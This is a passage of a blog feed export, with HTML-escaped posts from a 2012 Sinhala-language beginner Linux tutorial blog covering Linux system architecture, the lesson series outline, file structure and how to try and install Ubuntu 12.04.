&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE90Sgua1lrea5IqitUJAiXtoSQ8gsLmdEwxFdIlOKmP__CNdO7Gy3bfg_k1EzBYmw6vU3mXGpC_sCOIZ8ihp_l3YrSfDMgDUPNiRiq_KtmeE2iA25mIN_IaKIYZDESIyI5gt92a3bxgg/s1600/usrbin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;263&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE90Sgua1lrea5IqitUJAiXtoSQ8gsLmdEwxFdIlOKmP__CNdO7Gy3bfg_k1EzBYmw6vU3mXGpC_sCOIZ8ihp_l3YrSfDMgDUPNiRiq_KtmeE2iA25mIN_IaKIYZDESIyI5gt92a3bxgg/s320/usrbin.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/usr/bin&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&amp;nbsp;මේ ආකරයෙන් ඔබටත් ඔබේ ලිනක්ස් පද්ධතියේ ගොනු නිර්මිතය පරික්ෂා කල හැකිය. මෙම ගොනු තුල අඩංගු දේවල් අපිට අවශ්‍යය පරිදි වෙනස් කර භාවිතයට ගන්නා ආකාරය ගැන අපි පසුව කථා කරමු.</description><link>http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_zXZ7ZHtHXn8EKBKXwaM-984cJ9z3IYRniejKrgPzEo3ASvpOjzCmbz4knwiqWlosDTRXTB0OWrzEKFw921vWahAbF0jm36NYh-dGxJyckNCdwpaJW8maVgaZOz60AssozYxfXyA3LQ/s72-c/file_hir.png" height="72" width="72"/><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6288446734870880193</guid><pubDate>Thu, 13 Sep 2012 05:41:00 +0000</pubDate><atom:updated>2012-10-08T20:01:07.085+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Operating Systems</category><category domain="http://www.blogger.com/atom/ns#">Sinhala</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ලිනක්ස් පද්ධතියක නිර්මිතය - ලිනක්ස් පාඩම් මාලාව #1</title><description>මෙහෙයුම පද්ධතියක් යනු සම්පත් කළමණාකරුවෙක්. &amp;nbsp;පරිගණකයේ දෘඩාංග හා ක්‍රියාවලි පාලනය කරමින් පරිශීලකයාට අවශ්ය කාර්යයන් සිදු &amp;nbsp;කරගැනීමට &amp;nbsp;ඉඩ සලසා&amp;nbsp;දීම මෙහි ප්‍රධාන භාවිතයයි.&lt;br /&gt;
මෙහෙයුම් පද්ධතියක් දෘඩංග සම්ඟ සම්බන්ද වී මෙම කාර්යය සිදු කරනා ආකාරය සැකෙවින් පහත රූපයේ පෙන්වා ඇත.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi10P0XkUUyMoWxXq8UjJLLc5nfg_hn-5qI9BFif5MprtqBEEZdSN1QVBjBcIb9Gd9JqdkVIEv0bJi6yYB3EOU76L08f95Pm9bm0TqIIMZf5IcL8YefaDODcNpg3LEDjJqwOcmgkuAO36k/s1600/System.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi10P0XkUUyMoWxXq8UjJLLc5nfg_hn-5qI9BFif5MprtqBEEZdSN1QVBjBcIb9Gd9JqdkVIEv0bJi6yYB3EOU76L08f95Pm9bm0TqIIMZf5IcL8YefaDODcNpg3LEDjJqwOcmgkuAO36k/s320/System.png&quot; width=&quot;247&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
මේ රූපයෙන් පෙන්වා ඇති පරිදි සාමන්යය පරිගණක වැඩසටහන් එනම් ලිපි ලීවීම, අන්තර්ජාල සැරිසැරීම... වැනි වැඩසටහන් පරිශීලකයාට භාවිතා කිරීමට දෘඩාංග උපයෝගී කරගැනීමට කර්නලය යොදා ගැනීම සිදුවේ. මෙය &lt;b&gt;ලිනක්ස්&lt;/b&gt; පමණක් නොව ඕනෑම මෙහෙයුම් පද්ධතියක සිදුවේ. ඔබ දැනටමත් භාවිතා කර ඇති වින්ඩෝස් මෙහෙයුම් පද්ධතියේද කර්නලයක් ඇති නමුත් එය දැකීමට හෝ වෙනස් කිරීමට ලිනක්ස් මෙහෙයුම් පද්ධතියක මෙන් නොහැක. මෙය &lt;b&gt;ලිනක්ස්&lt;/b&gt; වලටම අදාල වූ විශේෂ ලක්ෂණයකි.&lt;br /&gt;
&lt;br /&gt;
දැන් අපි&amp;nbsp;&lt;b&gt;ලිනක්ස්&lt;/b&gt;&amp;nbsp;මෙහෙයුම් පද්ධතියක ප්‍රධාන අංග ගැන විස්තර වශයෙන් කථා කරමු.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;කර්නලය.&lt;/span&gt;&lt;br /&gt;අතිවිශාල දෘඩාංග සංඛයාවකට (ගැර්ෆික් කාඩ්පත්, ජාලගත කාඩ්පත්, දෘඩ තැටි... ආදී වූ) අදාල ධාවක වලින්ද, උසස් ක්‍රියාවලි සහ මතක කළමණාකරන අංග වලින්ද&amp;nbsp;&lt;b&gt;ලිනක්ස්&lt;/b&gt; කර්නලය සමන්විත වේ. තවද විශාල ෆයිල් වර්ග (NTFS, DOS ඇතුලු බොහෝ ෆයිල් වර්ග) ගණනාවකටම මෙම කර්නලය සහය දක්වයි.&amp;nbsp;මේ වන විට &lt;span style=&quot;color: magenta;&quot;&gt;&lt;a href=&quot;http://www.google.lk/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=5&amp;amp;cad=rja&amp;amp;ved=0CEEQFjAE&amp;amp;url=http%3A%2F%2Fwww.kernel.org%2F&amp;amp;ei=13FRUJz_PITQrQe09oGICA&amp;amp;usg=AFQjCNFPaa5XvQVvUcRBRRoUKOTIkQOvdQ&amp;amp;sig2=fmkQYf_4zHi0XolWlExtcQ&quot; target=&quot;_blank&quot;&gt;Linux 3&lt;/a&gt;&lt;/span&gt; සංස්කරණය දක්වා කර්නලය වැඩි දියුණු වී &amp;nbsp;ඇත.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;Shell සහ රූපක තිර අතුරු මුහුණත්.&lt;/span&gt;&lt;br /&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt; ක්‍රම දෙකක විධාන ආදානය සඳහා සහය&amp;nbsp;දක්වයි. ඒවා නම් අකුරු පමණක් භාවිතා කරන විධාන (textual command line shells)&amp;nbsp;සහ රූපක තිර (graphical interfaces (GUIs))&amp;nbsp;&amp;nbsp;මඟින් ලබා දෙන විධාන වේ.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;පද්ධති උපයෝගීතාවය.&lt;/span&gt;&lt;br /&gt;පද්ධතියේ කාර්යයන් සිදු කරගැනීමට අදාළ වන උපයෝගී අංග එනම් ගොනු කළමණාකර ගැනීමට අදාළ විධාන වගේම ජාලගත කටයුතු සඳහා වන විධාන ආදී වූ පද්ධති කාර්යයන් සඳහා වූ උපයෝගී අංග&amp;nbsp;රාශියක් &lt;b&gt;ලිනක්ස්&lt;/b&gt; මෙහෙයුම් පද්ධතියක අඩංගු වේ.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;භාවිත සහ වැඩසටහන්.&lt;/span&gt;&lt;br /&gt;එනම් පරිශීලකයා විසින් තමාගේ අවශ්යතා ඉටු කර ගැනීමට භාවිතා කරන්නා වූ යම් යම් වැඩසටහන් හා මෘදුකාංග ආදිය&amp;nbsp;විශාල ප්‍රමානයක් &lt;b&gt;ලිනක්ස්&lt;/b&gt; මෙහෙයුම් පද්ධතියක අඩංගු වේ.&lt;/li&gt;
&lt;/ul&gt;
ඉහත කෙටියෙන් සඳහන් කර ඇත්තේ &lt;b&gt;ලිනක්ස්&lt;/b&gt; මෙහෙයුම් පද්ධතියක ප්‍රධානම අංග පිළිබඳව වන අතර &lt;b&gt;ලිනක්ස්&lt;/b&gt; භාවිතා කිරීමට මේවා ඉගෙනගැනීමට අවශ්යය නොවන අතර, ඔබ පරිගණක ක්ෂෙත්‍රයේ දිග ගමනක් යෑමට බලාපොරුත්තුවන්නේ නම් මේවා ගැන තරමක් හෝ දැනගැනීම ඔබට වඩා පහසුවක් වන බැවින් මේවා ගැන මෙසේ පොඩි සටහනක් තැබුවේ.&lt;br /&gt;
&lt;br /&gt;
මූලික සංකල්ප හරියටම අධයනය කිරීම තුලින් ඔබට මෙම ක්ෂෙත්‍රයේ ප්‍රවීනයෙක් විය හැකියි. මෙම ලිපිය ලියන ලද්දේ අතිශයින්ම මේවාට ආධුනිකයෙකුට ප්‍රයෝජන විය හැකි බැවිනි.&lt;br /&gt;
&lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියක ගොනු ආකෘතිය හා කළමණාකරනය ගැන මීළඟ ලිපියෙන් බලාපොරුත්තුවන්න.&lt;br /&gt;
&lt;br /&gt;</description><link>http://linux-sinhala.blogspot.com/2012/09/learn-linux-1.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi10P0XkUUyMoWxXq8UjJLLc5nfg_hn-5qI9BFif5MprtqBEEZdSN1QVBjBcIb9Gd9JqdkVIEv0bJi6yYB3EOU76L08f95Pm9bm0TqIIMZf5IcL8YefaDODcNpg3LEDjJqwOcmgkuAO36k/s72-c/System.png" height="72" width="72"/><thr:total>27</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-784854574317708852</guid><pubDate>Fri, 07 Sep 2012 14:01:00 +0000</pubDate><atom:updated>2012-10-08T20:01:39.275+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><title>ලිනක්ස් ඉගෙන ගමු.</title><description>&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
ගැන කථා  කරන්නම් කියලා මේ
බ්ලොග් එක පටන් ගත්තට අන්තිම
ලිපි කිහිපයෙන්ම කථා කරේ
&lt;b&gt;උබුන්ටු&lt;/b&gt; ගැනනේ&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
ඉගෙන ගන්න යන ගමනේ අපිට &lt;b&gt;ලිනක්ස්&lt;/b&gt;
වලින් වැඩ කරන්න මොකක් හරි
&lt;b&gt;ලිනක්ස්&lt;/b&gt; මෙහෙයුම් පද්ධතියක්
තියෙන්න ඕනේ නිසයි &lt;b&gt;උබුන්ටු&lt;/b&gt;
ගැන කථා කරන්න වුනේ&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඒත්
මේ බ්ලොග් එකේ ප්‍රධාන අරමුණ
&lt;b&gt;ලිනක්ස්&lt;/b&gt; ගැන අපේ දැනුම බෙදාගැනීම
මිස &lt;b&gt;උබුන්ටු&lt;/b&gt; ගැන කථා කිරීම
නොවේ&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;නමුත්
ජනප්‍රිය &lt;b&gt;ලිනක්ස්&lt;/b&gt; ඩිස්ට්‍රෝවක්
වන &lt;b&gt;උබුන්ටු&lt;/b&gt; ගැනත් කථා නොකරම
බෑ&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඒ නිසා &lt;b&gt;උබුන්ටු&lt;/b&gt;
ගැන වෙනමම කථා කරන්න තව බ්ලොග්
එකක් ලිව්වා&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මින්
පසු &lt;b&gt;උබුන්ටු&lt;/b&gt; ගැන විශේෂ ලිපි
&lt;a href=&quot;http://ubuntu-world-sinhala.blogspot.com/&quot; target=&quot;_blank&quot;&gt;උබුන්ටු ලෝකය&lt;/a&gt; නව බ්ලොග් එකෙන්
බලාගන්න පුලුවන්&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මූලික
පරමාර්තය වූ ලිනක්ස් ගැන
සාකච්ඡා කරන්න මේ &lt;b&gt;ලිනක්ස්&lt;/b&gt;
සිංහලෙන් බ්ලොග් එක භාවිතා
කරමු&lt;/span&gt;.&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;දැන්
මේ වෙද්දි ඔයලා හැමෝම &lt;b&gt;ලිනක්ස්&lt;/b&gt;
කියන්නේ මොකද්ද&lt;/span&gt;...? &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මොන
වගේ දෙයක්ද කියලා දන්නවා ඇති
නේ&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;හරි හැටි
අවබෝධයක් නැත්තම් පෙර ලිපි
නැවත කියෙව්වත් කම්ක් නෑ
ඉතින්&lt;/span&gt;. 
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඉතිං
අද ඉදන් පටන් ගන්න යන්නේ &lt;b&gt;ලිනක්ස්&lt;/b&gt;
සිංහලෙන් පාඩම් මාලාවයි&lt;/span&gt;.
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඉතාමත්
මූලික සිද්ධාන්ත වලින් ආරම්භ
කර ඉදිරියට යෑමට්යි මගේ අරමුණ&lt;/span&gt;.
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මේ
පාඩම් මාලවෙන් ඉදිරිපත් කිරීමට
බලාපොරොත්තු වන මාතෘකා පිළිබඳ
දළ අදහසක්  පහත  &lt;/span&gt;
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;දැක්වේ&lt;/span&gt;.&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
 මෙහෙයුම් පද්ධතියක නිරිමිතය&lt;/span&gt;.
 Architecture of Linux.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
 මෙහෙයුම් පද්ධතියක ෆයිල්
 වයුහය&lt;/span&gt;. File Structure.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
 විධාන&lt;/span&gt;. Commands.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;විධාන
 භාවිතයෙන් ෆයිල් හැසිරවීම&lt;/span&gt;.
 File operations &amp;amp; File permissions.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;විධාන
 භාවිතයෙන් පරිගණකය හැසිරවීම&lt;/span&gt;.
 Uses of commands.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;පරිගණකයේ
 සැකසීම හා ක්‍රියාවලි කළමණාකරනය&lt;/span&gt;.
 Process &amp;amp; Pipes.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt;
 පද්ධති අංග&lt;/span&gt;. Linux System utilities.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;නිතර
 භාවිතා වන ලිනක්ස් යෙදුම්&lt;/span&gt;.
 Linux Applications.&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මෙහෙයුම්
 පාලක සංකල්ප සහ ක්‍රියාන්විත&lt;/span&gt;.
 System administration concepts and tasks, 
 &lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Shells
 and shell scripts. 
 &lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
Advanced
 shell scripting. 
 &lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;මෙතන
ඉදිරිපත් කර තිබෙන්නේ දළ
අදහසක් පමණි&lt;/span&gt;. &lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;ඔබගේ
යෝජනා හෝ යම් කිසි අදහසක්
ඇත්නම් එය ඉදිරිපත් කරන ලෙස
කාරුණිකව ඉල්ලා සිටිමි&lt;/span&gt;. 
&lt;/div&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;වැඩි
විස්තර සඳහා &lt;/span&gt;&lt;a href=&quot;mailto:udsubodhana@gmail.com&quot;&gt;udsubodhana@gmail.com&lt;/a&gt;
&lt;span style=&quot;font-family: DejaVu Sans;&quot;&gt;විද්යුත් ලිපිනයෙන්
සම්බන්ධ විය හැකිය&lt;/span&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
එහෙනම් අපි ලිනක්ස් ගැන දන්න සිංහලෙන්ම ඉගෙන ගන්න පටන් ගමු.&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/09/learn-Linux1.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-5754528955129375777</guid><pubDate>Mon, 03 Sep 2012 14:32:00 +0000</pubDate><atom:updated>2012-10-21T04:23:19.080+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux Distro</category><category domain="http://www.blogger.com/atom/ns#">Operating Systems</category><category domain="http://www.blogger.com/atom/ns#">Sinhala</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu Installer</category><category domain="http://www.blogger.com/atom/ns#">windows</category><category domain="http://www.blogger.com/atom/ns#">Wubi</category><title>උබුන්ටු ස්ථාපනය කරන ආකාරය.</title><description>&lt;br /&gt;
දැන් ඔබ ලග උබුන්ටු සහිත සජීවී සංගත තැටියක් (Live CD) හෝ &amp;nbsp;ඒ හා සමාන Bootable USB Drive එකක් තියෙනවානේ. හරි එහෙනම් අපි පටන් ගමු. ඔබ ලග ඉහත සඳහන් උබුන්ටු ස්ථාපකයක් නැත්නම් පෙර ලිපි තුලින් නැවත අරඹන්න.&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;ස්ථාපනය කරන්න කලින් පොඩ්ඩක් අත්හදා බලන්න.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
උබුන්ටු වල තියෙන තවත් ලස්සන පහසුකමක් තමා උබුන්ටු පරිගණකයට ස්ථාපනය නොකොට අත්හදා බැලීමට පුලුවන් වීම.&amp;nbsp;ඒ ගැන මෙතනදී පොඩ්ඩක් කථා කරන්නම්. එම පහසුකම ගැන සම්පූර්ණ ලිපියක් බලාපොරත්තු වන්න.&lt;br /&gt;
දැන් &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/08/pen-drive.html&quot; target=&quot;_blank&quot;&gt;පෙර ලිපියේ&lt;/a&gt; සඳහන් වූ පරිදි boot order එක වෙනස් කරාට පස්සේ ඔබ තෝරා ගත් පරිදි උබුන්ටු CD එකින් හෝ Pen Drive එකින් බූට් වීමට පටන් ගනී. මුලින්ම ඔබට ලැබෙන්නේ මෙම තිරයයි.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJH2-ra7D0o0FyLG9FgebJbfQu3YUGhD-zCyc7_e5PMdmArAnZv17EoaowTcgO4LO0at-lX9AYb2DQiDIytfE0LNj5rpwVDQaDcFmHV9UI1TNJzZyLwDGg1xVvbQThJdPAMACld2VWoGs/s1600/desktop-trial-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJH2-ra7D0o0FyLG9FgebJbfQu3YUGhD-zCyc7_e5PMdmArAnZv17EoaowTcgO4LO0at-lX9AYb2DQiDIytfE0LNj5rpwVDQaDcFmHV9UI1TNJzZyLwDGg1xVvbQThJdPAMACld2VWoGs/s320/desktop-trial-1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
මෙම රූපයේ &quot;Try Ubuntu&quot; යන්න ක්ලික් කිරීමෙන් ඔබට උබුන්ටු ස්ථාපනය නොකරම අත්හදා බලන්න පුලුවන්. මෙහිදි සාමානය්ය මෙහෙයුම් පද්ධතියක් භාවිතා කරන ආකාරයෙන්ම ඔබගේ ෆයිල් සොයාගන්න, පින්තූර බලන්න, අන්තර්ජාලයේ සැරි සරන්න වාගේ සාමානය්ය වැඩ ටික කරගන්න පුලුවන්. Audio CD ධාවනය කරන්න පුලුවන් නමුත් mp3 ෆයිල් වැඩ කරන්නේ නම් නැති වෙයි. ඒක කරන්නේ කොහොමද කියලත් කියලා දෙන්නම්කෝ ඉස්සරහට. දැන් ඉතින් ඔබට හිතෙනවා නම් උබුන්ටු දාගෙනම බලන්න ඕනේ කියලා ඒක පහත තිර සටහනේ තියෙන පරිදි &quot;Install Ubuntu 12.04&quot;අයිකනය ක්ලික් කරන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSE8YGZdkqYfcj0-VE3oyAEDvN1G022dc1qche_6hMlGYW90NlXLTWQzuym7GBVTUXJELKem-SF4XX6Ptar-87DKJSRru3QefSpS5AMsDNVEmhcn8QZ5oxUCk9wGOUmgt4JOFmukWwois/s1600/desktop-trial-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;189&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSE8YGZdkqYfcj0-VE3oyAEDvN1G022dc1qche_6hMlGYW90NlXLTWQzuym7GBVTUXJELKem-SF4XX6Ptar-87DKJSRru3QefSpS5AMsDNVEmhcn8QZ5oxUCk9wGOUmgt4JOFmukWwois/s320/desktop-trial-2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;උබුන්ටු ස්ථාපනය කරන ආකාරය.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
හරි... මූලිකවම උබුන්ටු ඔබේ පරිගණකයට ස්ථාපනය කල හැකි ආකාර 4ක් තිබෙනවා. ඒවා නම්.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;වර්චුවල් මැෂින් භාවිතා කිරීම.&lt;/li&gt;
&lt;li&gt;වින්ඩෝස් තුල උබුන්ටු ස්ථාපනය කිරීම.&lt;/li&gt;
&lt;li&gt;වින්ඩෝස් ඉවත් නොකොට වෙනම උබුන්ටු ස්ථාපනය කිරීම.&lt;/li&gt;
&lt;li&gt;සම්පූර්ණයෙන්ම උබුන්ටු පමණක් ස්ථාපනය කිරීම.&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_machine&quot; target=&quot;_blank&quot;&gt;වර්චුවල් මැෂින්&lt;/a&gt; යනු තමා භාවිතා කරන පරිගණකය තුලම සත්යාසන්න( එනම් ඇත්ත වශයෙන්ම නොපවතින ) පරිගණකයක් සාදා ගන්න පුලුවන්&amp;nbsp;මෘදුකාංගයකි.&amp;nbsp;එනම් පරිගණකයක භාවිතා වන සියළුම අංග ඇතුලත් මනඃකල්පිත පරිගණකයක් දැනට අපි භාවිතා කරන පරිගණකය තුලම නිර්මාණය කර ගැනීමක්. එසේ සදා ගන්නා පරිගණකය තුල ඔබට ඕනෑ පරිදි අත්හදා බැලීම භාවිතා වන පරිගණකයට හානියක් නොවන අයුරින් සිදුකර ගැනීමට මෙම මෘදුකාංගය ම්ඟින් පහසුකම් සපයා ඇත. එමගින් තමන් දැනට භාවිතා කරන මෙහෙයුම් පද්ධතියට වෙනසක් නොකොට වෙනත් මෙහෙයුම් පද්ධතියක් හෝ කිහිපයක් භාවිතා කිරීමට අවස්ථාව සැලසේ. මෙය බොහෝ දෙනෙක් භාවිතා කරන සුලභ මෘදුකාංගයකි. මෙහිදී මම මෙම වර්චුවල් මැෂින් භාවිතා කොට උබුන්ටු ස්ථාපනය කරන ආකාරය ගැන කථා කරන්නේ යන්නේ නෑ. මොකද අපි වර්චුවල් මැෂින් භාවිතා කරන්නේ අපි දැනට භාවිතා කරන මෙහෙයුම් පද්ධතියට වෙනසක් කිරීමට අකැමති නම්නේ. ඉතින් එහෙම අපි භාවිතා&amp;nbsp;කරන වින්ඩෝස් මෙහෙයුම් පද්ධතියට වෙනසක් නොකොට සාමාන්ය්ය මෘදුකාංගයක් ස්ථාපනය කරන ආකාරයටම වින්ඩෝස් තුල උබුන්ටු ස්ථාපනය කරන්න පුලුවන් නිසා අපිට වර්චුවල් මැෂින් ඕනේ වෙන්නෙ නෑ.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
